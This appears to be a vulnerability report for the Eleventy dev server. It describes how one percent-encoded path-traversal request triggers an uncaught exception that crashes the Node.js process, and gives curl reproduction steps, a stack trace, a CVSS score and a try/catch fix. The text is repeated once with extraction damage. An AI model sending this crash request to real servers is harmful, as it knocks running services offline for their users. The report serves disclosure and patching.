Summary
A single crafted HTTP GET request containing a percent-encoded path-traversal attempt (%2e%2e%2f) causes EleventyDevServer.getOutputDirFilePath() to throw an uncaught Error, which propagates all the way out of the raw http.Server request handler and crashes the entire Node.js process. No authentication, no special conditions — one request from anyone able to reach the dev server kills it for every connected user.
CWE: CWE-248 (Uncaught Exception) / CWE-400 (Uncontrolled Resource Consumption)
Severity: High
CVSS: 7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Root Cause
server.js:317, inside getOutputDirFilePath():
if(!this.isFileInDirectory(this.dir, computedPath)) {
throw new Error("Invalid path");
}
This is the correct rejection path for an out-of-bounds request — but nothing between here and the raw HTTP request event catches it: getOutputDirFilePath() → mapUrlToFilePath() → eleventyProjectMiddleware() → eleventyDevServerMiddleware() → onRequestHandler() → Server.emit("request"). The exception is never wrapped in a try/catch anywhere in that chain, so it reaches Node's own uncaught-exception handling and aborts the process.
Reproduction
mkdir -p /tmp/poc/_site && echo "<h1>hi</h1>" > /tmp/poc/_site/index.html
node --input-type=module -e '
import EleventyDevServer from "./server.js";
const server = EleventyDevServer.getServer("poc", "/tmp/poc/_site", { port: 9799 });
server.serve(9799);
'
$ curl -o /dev/null -w "%{http_code}\n" http://localhost:9799/index.html
200
$ curl -o /dev/null -w "%{http_code}\n" "http://localhost:9799/%2e%2e%2fsecret.txt"
# server crashes:
Error: Invalid path
at EleventyDevServer.getOutputDirFilePath (server.js:317:13)
at EleventyDevServer.mapUrlToFilePath (server.js:363:24)
at EleventyDevServer.eleventyProjectMiddleware (server.js:698:24)
at EleventyDevServer.eleventyDevServerMiddleware (server.js:650:5)
at EleventyDevServer.onRequestHandler (server.js:854:11)
Node.js v22.23.2
$ curl -o /dev/null -w "%{http_code}\n" http://localhost:9799/index.html --max-time 3
000 # process is dead, connection refused
Impact
Anyone who can send an HTTP request to a running eleventy --serve instance can kill it instantly — including a malicious page open in another browser tab making a simple fetch()/<img> request to localhost:PORT, or anyone on the same network if the dev server is bound beyond localhost (a supported, documented option). No exploitation skill required beyond a single crafted URL.
Recommended Fix
Wrap the request-handling chain (or at minimum the path-resolution call) in a try/catch that returns a normal 400/403 HTTP response instead of throwing past the request handler:
onRequestHandler(req, res) {
try {
// existing logic
} catch (e) {
res.statusCode = 400;
res.end("Bad Request");
return;
}
}
Verification
Dynamically confirmed on v3.0.0-alpha.11 via the real getServer()/serve() public API and real HTTP requests (curl), as shown above — reproduced independently twice.
Summary
A single crafted HTTP GET request containing a percent-encoded path-traversal attempt (
%2e%2e%2f) causesEleventyDevServer.getOutputDirFilePath()tothrowan uncaughtError, which propagates all the way out of the rawhttp.Serverrequest handler and crashes the entire Node.js process. No authentication, no special conditions — one request from anyone able to reach the dev server kills it for every connected user.CWE: CWE-248 (Uncaught Exception) / CWE-400 (Uncontrolled Resource Consumption)
Severity: High
CVSS: 7.5 —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HRoot Cause
server.js:317, insidegetOutputDirFilePath():This is the correct rejection path for an out-of-bounds request — but nothing between here and the raw HTTP request event catches it:
getOutputDirFilePath()→mapUrlToFilePath()→eleventyProjectMiddleware()→eleventyDevServerMiddleware()→onRequestHandler()→Server.emit("request"). The exception is never wrapped in a try/catch anywhere in that chain, so it reaches Node's own uncaught-exception handling and aborts the process.Reproduction
Impact
Anyone who can send an HTTP request to a running
eleventy --serveinstance can kill it instantly — including a malicious page open in another browser tab making a simplefetch()/<img>request tolocalhost:PORT, or anyone on the same network if the dev server is bound beyond localhost (a supported, documented option). No exploitation skill required beyond a single crafted URL.Recommended Fix
Wrap the request-handling chain (or at minimum the path-resolution call) in a try/catch that returns a normal 400/403 HTTP response instead of throwing past the request handler:
Verification
Dynamically confirmed on v3.0.0-alpha.11 via the real
getServer()/serve()public API and real HTTP requests (curl), as shown above — reproduced independently twice.